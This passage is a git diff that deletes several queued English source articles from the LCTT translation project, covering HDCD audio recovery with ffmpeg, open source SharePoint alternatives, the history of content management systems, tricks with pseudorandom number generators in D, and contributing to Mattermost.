-校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/skpeterson -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bus-containers2.png?itok=idd8duC_ (Shipping containers stacked in a yard) -[2]: https://opensource.com/article/18/7/whats-container-image-meeting-legal-challenges -[3]: https://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html#section3 -[4]: https://github.com/opencontainers/artifacts -[5]: https://blockchain-forensics.com/containers/current.svg -[6]: https://blockchain-forensics.com/containers/future.svg -[7]: https://opensource.com/article/20/2/open-source-licensing -[8]: https://opensource.com/article/17/12/source-code-license -[9]: https://opensource.com/article/17/9/economically-efficient-model diff --git a/sources/tech/20200712 Recovering audio from a lost format with open source.md b/sources/tech/20200712 Recovering audio from a lost format with open source.md deleted file mode 100644 index 863a296817..0000000000 --- a/sources/tech/20200712 Recovering audio from a lost format with open source.md +++ /dev/null @@ -1,133 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Recovering audio from a lost format with open source) -[#]: via: (https://opensource.com/article/20/7/hdcd) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) - -Recovering audio from a lost format with open source -====== -The history of HDCD format and how I recovered lost audio on Linux. -![11 CDs in a U shape][1] - -Back in the early 2000s, we made a family decision to upgrade the living room stereo. The equipment in place at the time was based on a collection of gear that I had purchased some 20 years earlier when I first had a steady post-university income. That early collection could best be described as "industrial chic," most notably the [Hafler amplifiers][2] I had built from kits and the [Polk speakers][3] made from some kind of composite wood product and finished with an ugly faux-rosewood vinyl wrap. They produced decent sound, but the dorm-room-style decor just wasn't working out in the living room. - -Those of you who remember the early 2000s will recall that most of the world was still consuming music on CD. Our family was no exception, and we ended up with a fine CD player that had an interesting feature—it was able to decode regular CDs as well as high-definition-compatible digital (HDCD) discs. - -According to [Wikipedia][4], HDCD is a proprietary audio encode-decode process that claims to provide increased dynamic range over that of standard Red Book audio CDs, while retaining backward compatibility with existing compact disc players. - -The [manual for our CD player][5] states: "HDCD system is manufactured under license from Pacific Microsonics, Inc." and "HDCD is a digital signal processing system developed by Pacific Microsonics of California which conceals control codes into a very small fraction of the recorded CD digital audio stream. An HDCD decoder recognizes these control codes and uses them to process the digital audio to increase its dynamic range and resolution, while leaving the original digital stream compatible with conventional CD players." - -How does HDCD work this magic, you may ask? The same Wikipedia entry states, "HDCD encodes the equivalent of 20 bits worth of data in a 16-bit digital audio signal by using custom dithering, audio filters, and some reversible amplitude and gain encoding; Peak Extend, which is a reversible soft limiter; and Low-Level Range Extend, which is a reversible gain on low-level signals." - -Whatever the merits of this technology, its parent company was unable to continue business and ceased operations sometime in 2000. The Wikipedia article indicates that Microsoft acquired the company and incorporated code in Windows Media Player to allow the decoding of HDCD, but seemingly lost interest in its promotion. Perhaps this was due to the emergence of other proprietary high-resolution audio formats such as SACD and DVD-A, which were able to encode a full 24 bits of signal on a similar-looking but incompatible media. Neither of these latter formats was especially successful, at least not in commercial terms, though studios continue to release music on SACD. As it happens, SACD included a "hybrid" standard that provided both SACD and backward-compatible CD layers on the same disc, allowing the playback of those albums on regular CD players at standard CD resolution. - -How many artists and studios actually made use of HDCD? Well, Discogs offers [a list of 11,284 HDCD recordings][6] (as of this writing). [This web site][7] offers an interesting analysis of some of the facilities HDCD provided, using actual HDCD encoded music. And for those interested in the original patent, which Google Patents claims has expired, [it can be found here][8]. - -### My HDCD story - -Anyone who is interested enough in audio equipment to read promotional brochures or audiophile magazines will recognize the fascination many audiophiles have with proprietary designs—they seem to view a patent as validation of the equipment that uses that technology. - -Though now I do what I can to avoid being swayed by "proprietary technology fascination," I admit I was not such a staunch proponent of all things open back in the early 2000s. Not only did I buy the aforementioned fine CD player with its proprietary innards, but I also bought—the horror!—a few actual HDCD-encoded titles. - -This past weekend, I managed to find three of them in our collection, but I am certain there are more. The three I managed to find include Ensemble Dumont's [La Messe du Roi][9], Musica Secreta's [Dangerous Graces][10], and the Orchestra of the Age of Enlightenment's [Vivaldi Concerti][11], all from the Linn Records Linux-friendly [music store][12]. While making sure these titles were still available, I noticed that they are no longer offered in HDCD. - -Given that I have these albums on hand and that the patent seems to have expired, I decided to find out whether I could convert these discs in their full intended resolution to an open music format, and moreover, whether I could do so without using proprietary software. - -The first software I stumbled upon for decoding HDCD format was hdcd.exe., [described and offered here][13]. Since the source code for this software was not offered, and since it required Windows, or at least Wine, to run, my initial interest mostly evaporated. - -The Wikipedia article noted above mentioned that some other Windows-based music players offered HDCD decoding. Hmm. But then I spotted: - -"FFmpeg's libavfilter includes an HDCD filter as of FFmpeg 3.1 (June 2016) that will convert 16-bit PCM with HDCD data to 20-bit PCM." - -This seemed like a promising starting point, so I installed `ffmpeg` from my distro's repositories, and then went looking for some more hints, at which point I stumbled on [the very concise description on hydrogenaudio][14], which even supplies a script for finding HDCD-encoded files in one's music directory. I used the line that runs `ffmpeg` against one of the files ripped from the Musica Secreta CD mentioned previously, as follows: - - -``` -ffmpeg  -hide_banner -nostats -y -v verbose -i \ -'01 - Musica Secreta - Questi odorati fiori.flac' --vn -af hdcd -f s24le /dev/null 2>&1 | grep "_hdcd_" -``` - -and received the following output: - - -``` -[Parsed_hdcd_0 @ 0x55b2137e2c80] Disabling automatic format conversion. -[Parsed_hdcd_0 @ 0x55b2137e2c80] Auto-convert: disabled -[Parsed_hdcd_0 @ 0x55b2137e2c80] Looking for 16-bit HDCD in sample format s16 -[Parsed_hdcd_0 @ 0x55b2137e2c80] CDT period: 2000ms (88200 samples @44100Hz) -[Parsed_hdcd_0 @ 0x55b2137e2c80] Process mode: process stereo channels together -[Parsed_hdcd_0 @ 0x55b2137e2c80] Force PE: off -[Parsed_hdcd_0 @ 0x55b2137e2c80] Analyze mode: [0] disabled -[Parsed_hdcd_0 @ 0x55b2137e2c80] Channel 0: counter A: 0, B: 1657, C: 1657 -[Parsed_hdcd_0 @ 0x55b2137e2c80] Channel 0: pe: 1657, tf: 0, almost_A: 0, checkfail_B: 0, unmatched_C: 0, cdt_expired: 0 -[Parsed_hdcd_0 @ 0x55b2137e2c80] Channel 0: tg 0.0: 1657 -[Parsed_hdcd_0 @ 0x55b2137e2c80] Channel 1: counter A: 0, B: 1657, C: 1657 -[Parsed_hdcd_0 @ 0x55b2137e2c80] Channel 1: pe: 1657, tf: 0, almost_A: 0, checkfail_B: 0, unmatched_C: 0, cdt_expired: 0 -[Parsed_hdcd_0 @ 0x55b2137e2c80] Channel 1: tg 0.0: 1657 -[Parsed_hdcd_0 @ 0x55b2137e2c80] Packets: type: B, total: 3314 -[Parsed_hdcd_0 @ 0x55b2137e2c80] HDCD detected: yes, peak_extend: enabled permanently, max_gain_adj: 0.0 dB, transient_filter: not detected, detectable errors: 0 -``` - -Note the last line above mentioning that HDCD was, in fact, detected. Also, it seems that the "peak extend" capability is enabled. As I understand this capability, it reverses the compression/limiting applied to the loudest parts of the music after dropping the overall signal level by a factor of two, thus restoring some of the original recording's extra dynamic range. Goodwin's High End's web site has a detailed description of this topic [here][15]. - -At this point, it was time to try this whole thing out. For some reason, I did not feel confident doing a one-step conversion from 16-bit undecoded FLAC to 24-bit decoded FLAC, so I ran the conversion in two steps, as follows: - - -``` -for f16 in *.flac; do -trk=`basename "$f16" .flac` -w24="$trk"_24.wav -ffmpeg -i "$f16" -af hdcd -acodec pcm_s24le "$w24" -flac "$w24" -done -``` - -This gave me a set of 24-bit 44.1kHz FLAC files, which I verified with the **file** command. At that point, all I needed to do was make sure all the tags looked good, and that was that. - -### And speaking of music… - -I've been taking a break from this music column this year, as I haven't done much except listen to things I already have on hand. But a few new items have crept into my collection. - -Emancipator's latest, [Mountain of Memory][16], is available from that great Linux-friendly and artist-friendly online store, [Bandcamp][17]. If you like Emancipator's earlier stuff, you won't be disappointed with this. - -The Choir of Clare College at Cambridge and the Dmitri Ensemble have released [a fine collection of music by Arvo Pärt, Peteris Vasks, and James MacMillan][18], entitled "Arvo Pärt Stabat." I haven't listened to this album carefully, but even so, I am struck by the similarity between the three composers' work presented here. Maybe something about the shared influence of a northern European landscape and weather? I bought this beautiful choral music as a 96/24 FLAC download from [Presto Classical][19], another fine Linux-friendly online store. For those interested in more information on this music, there is an interview on that site with Graham Ross, the conductor of the Choir of Clare College. - -Finally, some other interesting news—an online store with lots of great high-resolution downloads that has frustrated me for many years (to the point of sending them numerous whiny emails), [HDtracks][20], has finally made it possible to purchase music from them without using their download manager! I haven't actually bought anything there yet, but I will soon give it a whirl and report back. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/hdcd - -作者:[Chris Hermansen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/life_cd_dvd.png?itok=RBwVIzmi (11 CDs in a U shape) -[2]: https://audiokarma.org/forums/index.php?threads/questions-about-hafler-dh-110-connections.790899/ -[3]: https://forum.polkaudio.com/discussion/166859/monitor-7b-question -[4]: https://en.wikipedia.org/wiki/High_Definition_Compatible_Digital -[5]: https://docs.linn.co.uk/wiki/images/0/08/Ikemi_genki_user_manual.pdf -[6]: https://www.discogs.com/search/?format_exact=HDCD -[7]: http://www.audiomisc.co.uk/HFN/HDCD/Examined.html -[8]: https://patents.google.com/patent/US5479168?oq=US5479168 -[9]: https://www.linnrecords.com/recording-la-messe-du-roi -[10]: https://www.linnrecords.com/recording-dangerous-graces-music-cipriano-de-rore-and-pupils -[11]: https://www.linnrecords.com/recording-vivaldi-concerti -[12]: https://www.linnrecords.com/ -[13]: http://forum.doom9.org/showthread.php?t=129136 -[14]: https://wiki.hydrogenaud.io/index.php?title=High_Definition_Compatible_Digital#FFmpeg -[15]: http://www.goodwinshighend.com/music/hdcd/gain_scaling.htm -[16]: https://emancipator.bandcamp.com/album/mountain-of-memory -[17]: https://bandcamp.com/ -[18]: https://www.clarecollegechoir.com/product/arvo-p%C3%A4rt-stabat -[19]: https://www.prestomusic.com/classical/products/8766094--arvo-part-stabat-mater -[20]: https://www.hdtracks.com/ diff --git a/sources/tech/20200714 5 things to look for in an open source alternative to SharePoint.md b/sources/tech/20200714 5 things to look for in an open source alternative to SharePoint.md deleted file mode 100644 index f60f1fae0e..0000000000 --- a/sources/tech/20200714 5 things to look for in an open source alternative to SharePoint.md +++ /dev/null @@ -1,90 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 things to look for in an open source alternative to SharePoint) -[#]: via: (https://opensource.com/article/20/7/sharepoint-alternative) -[#]: author: (Will Kelly https://opensource.com/users/willkelly) - -5 things to look for in an open source alternative to SharePoint -====== -If you're considering an open source collaboration platform to meet your -remote workforce's needs, here are five things to keep in mind. -![Digital images of a computer desktop][1] - -We're entering a collaboration platform renaissance as remote work becomes the norm for enterprises large and small. [Microsoft SharePoint][2]—a collaboration platform available on premises or in the cloud—is the de-facto standard for corporations and government agencies. However, SharePoint implementations are infamous for the [challenges][3] that prevent their completion. Combine those common speedbumps with shrinking IT budgets and rising collaboration requirements because of remote work, and open source alternatives to SharePoint become well worth a look. - -Here are five things to consider in an open source alternative to SharePoint. - -### Is it easy to install, set up, and use in the cloud? - -Looking beyond installation and initial configuration, you want an open source alternative that's easy to set up. Treat open source collaboration tools as something you must take responsibility for, particularly in setup and user support, whether you have your IT department's approval or you're going shadow IT. - -Chances are you'll be installing the platform in a public or private cloud space, so look for an open source collaboration platform that's cloud-friendly. For example, if your organization is running Amazon Web Services (AWS), you can install open source wikis, including [MediaWiki][4], [DokuWiki][5], and [TikiWiki][6], from the AWS Marketplace. After installing them, you can get an idea of how much using the platform will affect your organization's cloud bill. - -### Is it friendly to end-users? - -Show me a complex collaboration site, and I'll show you the developers and other staff who are doing their darndest to work around it. You don't want to make this mistake. - -Keep it simple if you want to spin up an open source collaboration platform to replace or augment SharePoint for your remote workers. The easier the collaboration platform is for your users, the better chance you have of winning them over as allies. - -With features like a Configure Sites wizard, TikiWiki is an example of an open source collaboration platform that's end-user friendly. - -### Are the content-editing tools easy to use? - -Editing options are a major benefit to the diverse communities of open source contributors building these technologies. MediaWiki is one example of how open source collaboration platforms approach authoring tools. The project has an [Editing team][7] that focuses just on editing and authoring tools. Some of its projects include [WikiEditor][8], [VisualEditor][9], and [CodeEditor][10] extensions. You're bound to find an editor that fits your users' workstyle. - -This feature becomes especially important for developers, who have been known to rebel against SharePoint because it lacks Markdown support. Get feedback from your developers about their authoring needs. If Markdown is one of their requirements, make sure you choose an open source collaboration platform that supports it. - -Also be sure to follow open source adoption best practices by ensuring the technology has an active community. For example, some DokuWiki editor plugins, such as [Ace Editor][11] and [Editor Plugin][12], haven't been updated in years. - -### What kind of access control is available to protect content? - -If you're dealing with project documentation or any type of sensitive corporate information, examine the access control options in any open source collaboration platform you're considering. Look for support for read-only pages and access-control lists (ACLs). - -Open source wikis are open by default. That's not necessarily a bad thing, depending on your security posture. SharePoint permissions are a [known trouble spot][13], even in the eyes of SharePoint experts. In contrast, DokuWiki has a well-documented [ACL feature][14]. - -### Is it integration-friendly for your organization? - -Even if you're moving to an open source collaboration platform as a last-minute replacement for an ailing SharePoint implementation, you can't ignore your integration requirements. - -MediaWiki and TikiWiki use a MySQL backend. DokuWiki doesn't require a database; it uses plain text files. Databases can be an integration consideration, based on your team members' database chops. - -Integration with an authentication backend such as LDAP will also be necessary for some organizations. Security and compliance people get worried about new platforms that aren't aligned with corporate standards. Users often resent having yet another password to remember. - -### Deploy with care - -Open source collaboration alternatives have a unique growth opportunity, as organizations find their once-ignored collaboration tools aren't serving their burgeoning remote workforces. Regardless of your goals, deploy your open source SharePoint alternative with care. - -Have you moved to an open source collaboration platform to better serve your remote workers? If so, please share your experiences in the comments. - -Sandstorm's Jade Wang shares some of her favorite open source web apps that are self-hosted... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/sharepoint-alternative - -作者:[Will Kelly][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/willkelly -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_browser_web_desktop.png?itok=Bw8ykZMA (Digital images of a computer desktop) -[2]: https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration -[3]: https://sharepointmaven.com/sharepoint-implementation-failed/ -[4]: https://www.mediawiki.org/wiki/MediaWiki -[5]: https://www.dokuwiki.org/ -[6]: https://tiki.org/HomePage -[7]: https://www.mediawiki.org/wiki/Editing_team -[8]: https://www.mediawiki.org/wiki/Extension:WikiEditor -[9]: https://www.mediawiki.org/wiki/Extension:VisualEditor -[10]: https://www.mediawiki.org/wiki/Extension:CodeEditor -[11]: https://www.dokuwiki.org/plugin:aceeditor -[12]: https://www.dokuwiki.org/plugin:editor -[13]: https://www.varonis.com/blog/why-do-sharepoint-permissions-cause-so-much-trouble/ -[14]: https://www.dokuwiki.org/acl diff --git a/sources/tech/20200717 A brief history of the Content Management System.md b/sources/tech/20200717 A brief history of the Content Management System.md deleted file mode 100644 index 32ba59cdd8..0000000000 --- a/sources/tech/20200717 A brief history of the Content Management System.md +++ /dev/null @@ -1,73 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A brief history of the Content Management System) -[#]: via: (https://opensource.com/article/20/7/history-content-management-system) -[#]: author: (Pierre Burgy https://opensource.com/users/pierreburgy) - -A brief history of the Content Management System -====== -CMS have gone from static page to JAMstack, and its history is at the -heart of open source and the evolution of the web. -![Text editor on a browser, in blue][1] - -Content management system (CMS) is a prolific software category that covers all types of applications for the creation and modification of digital content. So it should come as no huge surprise that the history of the CMS traces back to the first website in history, by [Tim Berners-Lee][2] in 1990, which was modeled on an internet-based hypertext system HTML, which represented just text and links. - -![timeline of CMS market evolution][3] - -The humble beginnings of the world wide web lay in static sites that served content without the need for a back-end database. They consumed very little computing resources, so they loaded quickly—because there were no database queries, no templates to render, and no client-server requests to process. There was also little in the way of web traffic, given that few people were regular "web surfers," especially compared to today. - -And, of course, it was all open source software that facilitated this interoperability. Indeed, open source has always played an important role in the evolution of CMS. - -### Rise of the CMS - -Fast-forward to the mid-nineties, as the popularity of the world wide web grows and websites increase the need for frequent updates—a change from its origins hosting brochure-type static content. This led to the introduction of a plethora of CMS products from FileNet, StoryBuilder from Vignette, Documentum, and many others. These were all proprietary, closed source products, which was not unusual for that time period. - -However, in the early 2000s, open source CMS alternatives emerged, including WordPress, Drupal, and Joomla. WordPress included an extensible plugin architecture and provided templates that could be used to build websites without requiring users to have knowledge of HTML and CSS. The WordPress CMS software installed on a web server and typically paired with a MySQL or MariaDB database (both open source, of course). The big shift to WordPress was, in part, accelerated by the fact that the CMS is open-source. - -Even today, about one-third of websites are built using these first-generation content management systems. These traditional CMS are monolithic systems that include the back-end user interface, plugins, front-end templates, Cascading Style Sheets (CSS), a web server, and a database. With every user request for a website page, a server first queries a database, then combines the result with data from the page's markup and plugins to generate an HTML document in the browser. - -### Trend to LAMPstack - -The emergence of the open source CMS was consistent with infrastructure built on the LAMP (Linux, Apache, MySQL, and PHP/Perl/Python) stack. This new structure represented the start of monolithic web development that enabled the creation of dynamic websites that use database queries to deliver unique content for different end users. At this point, the previous model of static sites sitting on a server—where individual files (HTML, CSS, JavaScript) consisting of text and links are delivered the same way to all end users—really started to disappear. - -### Mobile web changes everything - -As we move deeper and deeper into the first decade of the 2000s, early mobile devices like Palm and Blackberry provide access to web content, then the introduction of smartphones and tablets around 2010 brings more and more users to the web via mobile devices. In 2016, the scales tip and [web access from mobile devices and tablets exceeds desktops][4] worldwide. - -The monolithic CMS wasn't suited to serving content to these different types of access devices, which necessitated different versions of websites—usually stripped-down versions of the website for mobile users. The emergence of new Web-ready device types—like smartwatches, gaming consoles, and voice assistants like [Alexa][5]—only exacerbated this problem, and the need for omnichannel content delivery became clear. - -### The emergence of headless CMS and JAMstack - -A headless CMS decouples the backend—which stores all the content, databases, and files—from the frontend. Typically, a headless CMS uses APIs so that content from databases (SQL and NoSQL) and files can be accessed for display on websites, smartphones, and even Internet of Things (IoT) devices. Additionally, a headless CMS is front-end framework-agnostic, making it compatible with a variety of static site generators and front-end frameworks (e.g., Gatsby.js, Next.js, Nuxt.js, Angular, React, and Vue.js), which gives developers the freedom to choose their favorite tools. - -Headless CMS is particularly suitable for the JAM (Javascript, API, and Markup) stack web development architecture that is emerging as a popular solution as it delivers better web performance and SEO rankings, as well as strong security considerations. JAMstack does not depend on a web server and serves static files immediately when a request is made. There is no need to query the database as the files are already compiled and served to the browser. - -The shift to headless CMS is driven by a new wave of players, either with a SaaS approach such as Contentful, or self-hosted open source alternatives such as [Strapi][6]. Headless is also disrupting the e-commerce industry, with new software editors such as Commerce Layer and [Saleor][7] (also open source) offering solutions to manage multiple SKUs, prices, and inventory data in a true omnichannel fashion. - -### Conclusion - -Throughout the evolution of the content management system, which has been driven by how information on the internet is consumed, open source software has progressed along the same trend lines, with new technologies emerging to solve arising requirements. Indeed, it seems there is an interdependency between CMS, the world wide web, and open source. The need to manage the growing volumes of content isn't going away anytime soon. There is every reason to expect even more widespread adoption of open source software in the coming ahead. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/history-content-management-system - -作者:[Pierre Burgy][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/pierreburgy -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_blue_text_editor_web.png?itok=lcf-m6N7 (Text editor on a browser, in blue) -[2]: https://www.w3.org/People/Berners-Lee/#:~:text=A%20graduate%20of%20Oxford%20University,refined%20as%20Web%20technology%20spread. -[3]: https://opensource.com/sites/default/files/uploads/timeline.market.png (timeline of CMS market evolution) -[4]: https://techcrunch.com/2016/11/01/mobile-internet-use-passes-desktop-for-the-first-time-study-finds/ -[5]: https://opensource.com/article/20/6/open-source-voice-assistant -[6]: https://strapi.io/ -[7]: https://saleor.io/ diff --git a/sources/tech/20200718 Tricks with Pseudorandom Number Generators.md b/sources/tech/20200718 Tricks with Pseudorandom Number Generators.md deleted file mode 100644 index 0fd6ccc464..0000000000 --- a/sources/tech/20200718 Tricks with Pseudorandom Number Generators.md +++ /dev/null @@ -1,123 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Tricks with Pseudorandom Number Generators) -[#]: via: (https://theartofmachinery.com/2020/07/18/prng_tricks.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) - -Tricks with Pseudorandom Number Generators -====== - -Pseudorandom number generators (PRNGs) are often treated like a compromise: their output isn’t as good as real random number generators, but they’re cheap and easy to use on computer hardware. But a special feature of PRNGs is that they’re _reproducible_ sources of random-looking data: - -``` -import std.random; -import std.stdio; - -void main() -{ - // Seed a PRNG and generate 10 pseudo-random numbers - auto rng = Random(42); - foreach (_; 0..10) write(uniform(0, 10, rng), ' '); - writeln(); - // Reset the PRNG, and the same sequence is generated again - rng = Random(42); - foreach (_; 0..10) write(uniform(0, 10, rng), ' '); - writeln(); - - // Output: - // 2 7 6 4 6 5 0 4 0 3 - // 2 7 6 4 6 5 0 4 0 3 -} -``` - -This simple fact enables a few neat tricks. - -A couple of famous examples come from the gaming industry. The classic example is the space trading game Elite, which was originally written for 8b BBC Micros in the early 80s. It was a totally revolutionary game, but just one thing that amazed fans was its complex universe of thousands of star systems. That was something you just didn’t normally get in games written for machines with kilobytes of RAM total. The trick was to generate the universe with a PRNG seeded with a small value. There was no need to store the universe in memory because the game could regenerate each star system on demand, repeatedly and deterministically. - -PRNGs are now widely exploited for recording games for replays. You don’t need to record every frame of the game world if you can just record the PRNG seed and all the player actions. (Like most things in software, [actually implementing that can be surprisingly challenging][1].) - -### Random mappings - -In machine learning, you often need a mapping from things to highly dimensional random unit vectors (random vectors of length 1). Let’s get more specific and say you’re processing documents for topic/sentiment analysis or similarity. In this case you’ll generate a random vector for each word in the dictionary. Then you can create a vector for each document by adding up the vectors for each word in it (with some kind of weighting scheme, in practice). Similar documents will end up with similar vectors, and you can use linear algebra tricks to uncover deeper patterns (read about [latent semantic analysis][2] if you’re interested). - -An obvious way to get a mapping between words and random vectors is to just initially generate a vector for each word, and create a hash table for looking them up later. Another way is to generate the random vectors on demand using a PRNG seeded by a hash of the word. Here’s a toy example: - -``` -/+ dub.sdl: - name "prngvecdemo" - dependency "mir-random" version="~>2.2.14" -+/ -// Demo of mapping words to random vectors with PRNGs -// Run me with "dub prngvecdemo.d" - -import std.algorithm; -import std.stdio; - -// Using the Mir numerical library https://www.libmir.org/ -import mir.random.engine.xoshiro; -import mir.random.ndvariable; - -enum kNumDims = 512; -alias RNG = Xoroshiro128Plus; -// D's built-in hash happens to be MurmurHash, but we just need it to be suitable for seeding the PRNG -static assert("".hashOf.sizeof == 8); - -void main() -{ - auto makeUnitVector = sphereVar!float(); - auto doc = "a lot of words"; - - float[kNumDims] doc_vec, word_vec; - - doc_vec[] = 0.0; - foreach (word; doc.splitter) // Not bothering with whitening or stop word filtering for this demo - { - // Create a PRNG seeded with the hash of the word - auto rng = RNG(word.hashOf); - // Generate a unit vector for the word using the PRNG - // We'll get the same vector every time we see the same word - makeUnitVector(rng, word_vec); - // Add it to the document vector (no weighting for simplicity) - doc_vec[] += word_vec[]; - } - - writeln(doc_vec); -} -``` - -This kind of trick isn’t the answer to everything, but it has some uses. Obviously, it can be useful if you’re working with more data than you have RAM (though you might still cache some of the generated data). Another use case is processing a large dataset with parallel workers. In the document example, you can get workers to “agree” on what the vector for each word should be, without data synchronisation, and without needing to do an initial pass over the data to build a dictionary of words. I’ve used this trick with experimental code, just because I was too lazy to add an extra stage to the data pipeline. In some applications, recomputing data on the fly can even be faster than fetching it from a very large lookup table. - -### An ode to Xorshift - -You might have noticed I used `Xoroshiro128Plus`, a variant of the Xorshift PRNG. The Mersenne Twister is a de facto standard PRNG in some computing fields, but I’m a bit of a fan of the Xorshift family. The basic Xorshift engines are fast and pretty good, and there are variants that are still fast and have excellent output quality. But the big advantage compared to the Mersenne Twister is the state size. The Mersenne Twister uses a pool of 2496 bytes of state, whereas most of the Xorshift PRNGs can fit into one or two machine `int`s. - -The small state size has a couple of advantages for this kind of “on demand” PRNG usage: One is that thoroughly initialising a big state from a small seed takes work (some people “warm up” a Mersenne Twister by throwing away several of the initial outputs, just to be sure). The second is that the small size of the PRNGs makes them cheap enough to use in places you wouldn’t think of using a Mersenne Twister. - -### Random data structures made reliable - -Some data structures and algorithms use randomisation. An example is a treap, which is a binary search tree that uses a randomised heap for balancing. Treaps are much less popular than AVL trees or red-black trees, but they’re easier to implement correctly because you end up with fewer edge cases. They’re also good enough for most use cases. That makes them a good choice for application-specific “augmented” BSTs. But for argument purposes, it’s just a real example of a data structure that happens to use randomness as an implementation detail. - -Randomisation comes with a major drawback: it’s a pain when testing and debugging. Test failures aren’t reproducible for debugging if real randomness is used. If you have any experience with testing, you’ll have seen this and you’ll know it’s a good idea to use a PRNG instead. - -Using a global PRNG mostly works, but it couples the treaps through one shared PRNG. That accidental coupling can lead to test flakes if you’re running several tests at once, unless you’re careful to use one PRNG per thread and reset it for every test. Even then you can get Heisenbugs in your non-test code. - -What about dependency injection? Making every treap method require a reference to a PRNG works, but it leaks the implementation detail throughout your code. You could make the treap take a reference to a PRNG in its constructor, but that implies adding an extra pointer to the data structure. If you’re going to do that, why not just make every treap embed its own 32b or 64b Xorshift PRNG? Embedding the PRNG into the treap makes it deterministic and reproducible in a way that’s encapsulated and decoupled from everything else. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2020/07/18/prng_tricks.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://technology.riotgames.com/news/determinism-league-legends-introduction -[2]: https://en.wikipedia.org/wiki/Latent_semantic_analysis diff --git a/sources/tech/20200722 6 ways to contribute to an open source alternative to Slack.md b/sources/tech/20200722 6 ways to contribute to an open source alternative to Slack.md deleted file mode 100644 index 4db4090fb8..0000000000 --- a/sources/tech/20200722 6 ways to contribute to an open source alternative to Slack.md +++ /dev/null @@ -1,190 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (6 ways to contribute to an open source alternative to Slack) -[#]: via: (https://opensource.com/article/20/7/mattermost) -[#]: author: (Jason Blais https://opensource.com/users/jasonblais) - -6 ways to contribute to an open source alternative to Slack -====== -Join thousands who have contributed code, translations, documentation, -and more to Mattermost, an open source messaging platform. -![Chat bubbles][1] - -[Mattermost][2] is a messaging platform built in Go and React for DevOps teams. You can discuss topics in channels, private groups, or one-to-one with rich [Markdown][3] formatting and easily share code snippets with syntax highlighting in more than 50 programming languages. You can self-host or deploy on a private cloud to connect in-house systems with plugins, Slack-compatible integrations, and extensive API support. And you can collaborate with your team using the [Linux desktop application][4]. - -![Mattermost user interface on Linux Desktop App][5] - -(Mattermost, [CC BY-SA 4.0][6]) - -The platform's open source nature offers three direct benefits over proprietary messaging platforms like Slack, Microsoft Teams, and Discord: - - 1. **No vendor lock-in:** With open source software, the code is available to everyone. Users, third-party vendors, and organizations have access to the code at all times, free of cost. Moreover, users get peace of mind with full control over their data, security, and infrastructure. - 2. **Stronger security:** With a large community of developers, security flaws are detected, fixed, and communicated quickly to all users, often before a flaw ships in the product. As highlighted in Red Hat's report on [The State of Enterprise Open Source][7], high-quality software and better security are top benefits of enterprise open source software. - 3. **Community-powered:** A growing community accelerates innovation by collaborating on problems, finding solutions, and creating new use cases, all leading to rapid feature development not possible with proprietary solutions. A thriving community is a force-multiplier for open source projects. - - - -Mattermost is no different, and the community has been a major driving force behind the project. From the 100 most popular features to the 700,000-plus translations contributed to Mattermost, the open source community's impact on the project has been enormous. We've sent swag (such as a customized mug to all first-time contributors) to more than 1,000 contributors, and our [Contributor Wall of Fame][8] keeps growing every month. - -If you are interested in contributing to open source, DevOps, or the Go and React technologies, consider joining the Mattermost community. We have [good first help-wanted issues][9] for new contributors, [contribution guidelines][10] to help get you started, and other resources at [developers.mattermost.com][11]. Moreover, you don't have to be a developer to contribute. You can help with translations, documentation, and more. - -Interested in contributing to Mattermost? To make it easier to learn about all the ways to get involved with our community, we've gathered some information from our [Handbook][12], [Contribute page][13], [Security page][14], and more to help you get started. - -### Platform - -Build new features, improve existing ones, and fix bugs across the Mattermost platform. There are a variety of technologies and frameworks to choose from: - - * **Server:** Written in 